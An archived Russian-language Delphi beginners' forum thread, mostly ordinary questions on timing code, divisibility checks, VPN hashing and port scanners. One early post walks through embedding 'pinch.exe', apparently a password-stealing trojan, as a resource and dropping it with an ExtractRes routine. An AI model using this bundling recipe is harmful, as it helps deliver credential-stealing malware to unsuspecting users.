[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

[Dezzter] Я тебе же пример скинул там все написано, что да как!!!
Что именно тебе непонятно?

 

-Hormold-
http://rapidshare.com/files/113245101/________.rar.html
На вот, там 2 минуты работы.
base64,codes,proto,pworks вот эти файлы незабывай ложить в папку с проектом или же скопируй их в папку c делфи, думаю знаеш куда их пихать

Должно быть что то типо этого:
ExtractRes('EXEFILE', 'pinch', 'pinch.exe');
Да, ты саму то функцию написал ExtractRes?
Если, что она есть в примере, который я тебе дал.

 

[Dezzter]
Кароч распишу все по порядку это будет полезно и тебе и всем кто захочет такое сотварить:
1. Создаем pinch.rc файл в нем пишем вот это:

pinch EXEFILE pinch.exe

2. Копируем в папку с проектом brcc32.exe и создаем
*.bat файл с таким содержанием:

brcc32 pinch.rc

(pinch.exe, pinch.rc должны находиться в той же папке, что и проект).

3. Получаем res файл и переходим к кодингу:

Code:

implementation

{$R *.dfm} // это тут находится по умолчанию
{$R pinch.RES} // наш файл

function ExtractRes(ResType, ResName, ResNewName: string): Boolean; //функция, которая создает файл из файла ресурсов
var
  Res: TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, PChar(ResType));
  try
    Res.SavetoFile(ResNewName);
    Result := True;
  finally
    Res.Free;
  end;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
FileName:string; //по нажатию на кнопку получаем наш заветный пинчик.ехе
begin
FileName:='pinch.exe';
ExtractRes('EXEFILE', 'pinch', FileName );
end;

end.

Вот так все просто(на первый взгляд )

 

подскажите програмную реализацию на Delphi хеширования пароля при передаче в VPN подключении с такими характеристиками:

тут написано MD5 CHAP но про CHAP я ни чего не нашел...

 

>>тут написано MD5 CHAP но про CHAP я ни чего не нашел...
а я нашел:

http://russianproxy.ru/pptp_vpn
http://en.wikipedia.org/wiki/Point-to-point_tunneling_protocol
http://www.sans.org/resources/malwarefaq/pptp-vpn.php

сорцы PPTP-клиента, в котором "PPP-MPPE 2.4.0 and 2.4.1 contain MS-CHAP-v2 and MPPE support "... 4итай, расбирайся, портируй на делфи...
http://pptpclient.sourceforge.net/

 

Тока там исходники отнють не на delphi....((( покрайней мере не вижу.... (может просто мой английйский сильно страдает а можнт что то другое.....) я ж имел ввиду на делфях....

 

вот братцы кусок коду:

работаю с екселям!

Всё втыкнул!!

 

Помогите, такая проблема.нужен исходник для delphi сканер порта.
Чтобы мог сканировать всю сеть типа(NetLook).
Чтобы не вбивать диапазон ip.
Отдельные порта например 21,80
заранее спасибо.

 

foxes

ты определись уже сканер порта или всетаки обозреватель сети???

Netlook насколько я знаю не сканирует порты он рассылает Arp пакеты на которые компы ему отвечают потом сканит на расшаренные ресурсы каждого кто ответил...

 

foxes Вот раз сканер:
http://www.cyberinfo.ru/index.php?newsid=3407
это два:
http://devoid.com.ua/pascal-delphi/delphi-network-programming/prosteishiy-skaner-portov-na-delphi.html
и три:
http://www.vr-online.ru/download.php?det=167
А если постараться то можно найти их хз сколько, но т.к. если вы неможете элементарно юзать поиск, то такие программы вам писать еще рано!!!

 

Как узнать время выполнения какого либо участка кода в миллисекундах?

 

2 !{ra!{e/\/
мда... ну и вопрос, включи моск =)

const
ms = 1/24/60/60/1000; //одна милисекунда
var
t1, t2: tdateime;
begin
t1 := now;
{Твой код}
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;

 

Получай время в начале кода и в конце, а потом сверяй.

 

я так уже пробывал...вот опять...

Code:

procedure TForm1.Button1Click(Sender: TObject);
const
ms = 1/24/60/60/1000;
var i:integer;
t1, t2: tdatetime;
as1:array [1..1000] of integer;
begin
randomize;
t1 := now;
for i:=1 to 1000 do as1[i]:=random(40);
t2 := now - t1;
ShowMessage('Твой код выполнялся:'+inttostr(trunc(t2/ms))+'милисеунд');
end;

делаю как ты сказал выходит
Твой код выполнялся:0милисеунд
что неправильно?

 

Интересует алгоритм который узнает делиться ли число без остатка на 1024,без утомительного деления каждой части.

 

var
tick:integer;
begin
tick:=GetCurrentTick;
... тут код
messagebox(0,PAnsiChar('Твой код выполняется: '+inttostr(GetCurrentTick-tick)+' мс.'),'',0);

 

Ну а в чем проблема?)
Делишь, число переводишь в string, и смотришь есть ли "," или ".", если есть, то значит число не делится без остатка . без деления никак )

 

if (x mod 1024)=0 then ////делится без остатка где х число
else //не делится
или я неправильно тебя понял?

 

типо умный да ) во первых IntToStr и.т.д отсекают остаток и округляют до меньшего,я работаю с большими числами 512 бит и больше

Сделал так с опр вероятностью говорит верно,но правильно ли это?

 

на tick:=GetCurrentTick; выдает ошибку((
может надо какую нибудь библиотеку подключить?